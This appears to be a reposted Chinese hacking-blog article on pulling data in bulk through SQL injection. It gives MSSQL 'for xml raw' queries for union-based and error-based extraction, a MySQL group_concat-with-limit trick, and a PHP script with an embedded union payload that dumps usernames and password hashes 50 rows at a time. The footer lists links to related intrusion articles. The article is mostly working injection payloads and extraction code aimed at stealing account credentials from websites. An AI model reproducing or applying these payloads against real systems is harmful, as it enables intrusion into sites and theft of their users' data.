SQL注入中获取数据的一些技巧分析

所属分类: 网络安全 / 黑客入侵 阅读数: 194
收藏 0 赞 0 分享
一、MSSQL获取数据:

用的比较多的就是for xml raw了,MSSQL2000都支持的!

注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:

复制代码
代码如下:
select username from members where 1=2 union select top 3 username from members for xml raw

返回(如果username重复,自动去除重复值):

复制代码
代码如下:

<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)

返回:

复制代码
代码如下:

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.

当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。

二、MYSQL获取数据:

用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。

因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢?

其实简单变动下SQL语句即可以实现group_concat与limit连用:

复制代码
代码如下:

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

返回:

guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。

三、给出部分示例代码(mysql group_concat 50条数据每次):

复制代码
代码如下:

<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//发送数据包代码省略
//注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
更多精彩内容其他人还在看

黑客实战:一次简单脚本攻击实例

一、开篇 今天闲着无聊,到本地区的一个社区上转转,那些人污言秽语的,有个帖子还侵犯了一个朋友的版权,跟贴说了那人几句,管理员也不管,实在看不下去了,打算给管理员盆冷水清醒清醒。 二、准备/分析 安全第一,先开个HTTP代理,打开社区的登陆页面,
收藏 0 赞 0 分享

eWebEditor编辑器成网站中的隐形炸弹

站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这
收藏 0 赞 0 分享

系统泄露密码的入侵攻击分析

WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。   下面是SMB的密码认证方式。   WINDOWS的139口的访问过程,箭头表示数据方向:   1.客户端<---------------
收藏 0 赞 0 分享

看看黑客是怎样使用Google黑掉Windows服务器

在我的《为什么使用Google扫描安全漏洞》的技巧中,我讨论了如何使用Google.com来执行对你的面向公众的服务器的安全扫描――包括Windows、IIS、Apache和(但愿不会如此!)SQL Server。你能使用它得到服务器的信息、包含敏感信息的文件和检测出&ldquo
收藏 0 赞 0 分享

黑客总结的实用的网站渗透步骤

本文是黑客们总结的比较实用的网站渗透的一些步骤
收藏 0 赞 0 分享

一句话木马加密 过护卫神云查杀系统 过shell扫描器

这个一句话木马最近被利用的很多,很多扫描工具扫描不到,不过一些asp版的扫描工具支持扫描eval和execute,如果发现如下代码,请删除,下面就是他们常发的木马后门
收藏 0 赞 0 分享

安全狗下添加用户的另一方法(大量操作实现突破)

这篇文章主要是针对安装服务器安全狗的机器,突破添加用户的操作,用for循环实现,但如果服务器安装了360就无法使用
收藏 0 赞 0 分享

安全狗下加用户的又一方法

上次发了安全狗下加用户的另一方法,据说不够风骚…所以这次要淫荡一点 ,方法同样很简单,不过不知道有没有人发过
收藏 0 赞 0 分享

防止黑客入侵系统建立很难发现的隐藏帐户

一般用户很难发现系统中隐藏账户的存在,那么该怎么办呢?其实我们可以通过以下几点来解决这个问题,接下来教你如何把隐藏账户彻底请出系统,感兴趣的朋友不要错过
收藏 0 赞 0 分享

445端口入侵原因详细解析

445端口入侵,在这之前我们首先要看的还是445端口为什么回成为入侵的端口呢?445端口就是IPC 服务的默认端口
收藏 0 赞 0 分享
查看更多